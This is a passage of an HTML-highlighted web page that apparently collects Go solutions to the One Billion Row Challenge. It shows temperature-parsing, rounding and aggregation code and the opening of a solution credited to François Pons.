&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">3&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 1.2\n&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>])&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">2&lt;/span>]) &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>(&lt;span style="color:#ae81ff">10&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">4&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 12.3\n&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">4&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>])&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">100&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>])&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">3&lt;/span>]) &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>(&lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">5&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">getMeasurement&lt;/span>(&lt;span style="color:#a6e22e">idHash&lt;/span>, &lt;span style="color:#a6e22e">idData&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span>, &lt;span style="color:#a6e22e">entriesCount&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">entries&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">entries&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span>[string(&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">value&lt;/span>[:&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">vlen&lt;/span>])] = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">m&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">round&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span> &lt;span style="color:#66d9ef">float64&lt;/span>) &lt;span style="color:#66d9ef">float64&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">roundJava&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10.0&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// roundJava returns the closest integer to the argument, with ties&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// rounding to positive infinity, see java&amp;#39;s Math.round&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">roundJava&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span> &lt;span style="color:#66d9ef">float64&lt;/span>) &lt;span style="color:#66d9ef">float64&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">Trunc&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">x&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0.0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">t&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0.5&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">//return t&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">Abs&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">t&lt;/span>) &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#ae81ff">0.5&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">Copysign&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> { &lt;span style="color:#75715e">// check -0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">t&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// parseNumber reads decimal number that matches &amp;#34;^-?[0-9]{1,2}[.][0-9]&amp;#34; pattern,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// e.g.: -12.3, -3.4, 5.6, 78.9 and return the value*10, i.e. -123, -34, 56, 789.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">parseNumber&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>) &lt;span style="color:#66d9ef">int64&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span> = &lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">switch&lt;/span> len(&lt;span style="color:#a6e22e">data&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 1.2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> = int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>])&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">2&lt;/span>]) &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>(&lt;span style="color:#ae81ff">10&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 12.3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> = int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>])&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">100&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>])&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#ae81ff">3&lt;/span>]) &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>(&lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://github.com/aytechnet/1brc" target="_blank" rel="noopener">https://github.com/aytechnet/1brc&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="françois-pons">François Pons&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;flag&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;runtime&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;runtime/pprof&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;slices&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sync&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;syscall&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sync/atomic&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/aytechnet/decimal&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">measurement&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Uint64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sumT&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">countT&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameLen&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameBuf&lt;/span> [&lt;span style="color:#ae81ff">208&lt;/span>]&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">measurements&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">total&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">numParsers&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">results&lt;/span> [&lt;span style="color:#a6e22e">capacity&lt;/span>]&lt;span style="color:#a6e22e">measurement&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">job&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &lt;span style="color:#a6e22e">atomic&lt;/span>.&lt;span style="color:#a6e22e">Int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bufLen&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> [&lt;span style="color:#a6e22e">bufSize&lt;/span>]&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">delta&lt;/span> = &lt;span style="color:#ae81ff">439&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">capacity&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">16&lt;/span> &lt;span style="color:#75715e">// must be a power of 2 for modulo calculation&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// buffer size&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">bufSize&lt;/span> = &lt;span style="color:#ae81ff">512&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span> &lt;span style="color:#75715e">// 1Mb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// use FNV-1a hash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fnv1aOffset64&lt;/span> = &lt;span style="color:#ae81ff">14695981039346656037&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fnv1aPrime64&lt;/span> = &lt;span style="color:#ae81ff">1099511628211&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">mode&lt;/span>, &lt;span style="color:#a6e22e">filename&lt;/span>, &lt;span style="color:#a6e22e">cpuprofile&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#a6e22e">measurements&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
